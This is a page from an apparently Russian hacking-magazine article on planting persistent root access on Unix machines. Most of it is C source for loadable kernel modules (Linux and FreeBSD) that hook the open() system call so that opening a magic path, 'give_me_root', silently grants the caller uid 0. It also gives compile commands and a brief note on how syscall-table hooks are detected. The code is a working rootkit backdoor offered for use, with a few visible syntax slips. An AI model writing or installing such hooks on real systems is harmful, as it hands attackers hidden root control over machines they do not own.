Root поселение на Unix тачке

Xakep, номер #049, стр. 049-086-4


sys_call_table[SYS_open] = our_open; /* заменяем оригинальный указатель на указатель на наш обработчик */

return (0);

}

void cleanup_module (void)

{

sys_call_table[SYS_open] = orig_open; /* восстанавливаем оригинальный обработчик */

}

А вот как для FreeBSD:

/* headers skipped */

#define KEYWORD "give_me_root" /* наше ключевое слово */

static int our_open (struct proc *p, struct open_args *uap)

/* протрояненый системный вызов open(). В отличие от линукса, в качестве параметра для функции-обработчика системного вызова передается также структура proc процесса, совершившего данный вызов. Второй параметр - структура с переданными процессом ядру параметрами системного вызова */

{

char path[1024];

int mode;

copyin (uap->path, path, sizeof(path)); /* копируем первый аргумент функции open() из адресного пространства процесса (uap->path) в адресное пространство ядра (path). */

if (strcmp (path, KEYWORD) == 0)

{

/* меняем приоритет процесса, сделавшего данный системный вызов */

p->p_cred->pc_ucred->cr_uid = 0;

p->p_cred->p_svuid = 0;

p->p_cred->p_ruid = 0;

return (0);

}

/* запускаем оригинальный open() */

return (open (p, uap));

}

static int module_ops (struct module *module, int cmd, void *args);

{ switch (cmd)

{ case MOD_LOAD:

sysent[SYS_open].sy_call = (sy_call_t*)our_open; /* заменяем оригинальный указатель на указатель на наш обработчик */

break;

case MOD_UNLOAD:

sysent[SYS_open].sy_call = (sy_call_t*)open; /* восстанавливаем оригинальный обработчик */

break

default:

return (EINVAL);

}

return (0);

}

static moduledata_t give_me_root = {"give_me_root", module_ops, NULL};

static struct sysinit sys_init =

{ SI_SUB_DRIVERS,

SI_ORDER_MIDDLE,

module_register_init,

&give_me_root

};

static void const * const

__set_sysinit_set_sym_syscall_sys_init = &sys_init;

__asm(".section .set.""sysinit_set"",\"aw\"");

__asm(".long " "sys_init");

__asm(".previous");

Надеюсь, из комментариев все понятно. Последний штрих - написать прогу, которая будет делать нечто вроде open ("give_me_root", 0, O_RDWR), а потом exec () на любимый шелл, и наслаждаться появившимся '#'.

Конечно, вышеприведенный пример троянизации системного вызова недорого стоит - он элементарно детектится. Для детектирования достаточно сделать копию таблицы системных вызовов в тот момент, когда система точно не была протроянена, а потом время от времени сверять указатели на функции-обработчики оригинала с копией, что сразу позволит выявить троян в случае его установки в системе. Можно, конечно, копнуть глубже - заменять не указатели, а патчить сами функции-обработчики (об этом подробно писал Silvio Cesare на http://www.big.net.au/~silvio) - тогда простая сверка таблиц уже не поможет, но это тоже относительно "стандартный" способ, который лечится сверкой чексумм тел функций-обработчиков.

Технические моменты

1. Компиляция

Линуховые модули компилятся совсем элементарно:

gcc -c give_me_root.c -o give_me_root.o

Фрюшные же немного более гиморно - нужно создать Makefile примерно такого вида:

Назад на стр. 049-086-3  Содержание  Вперед на стр. 049-086-5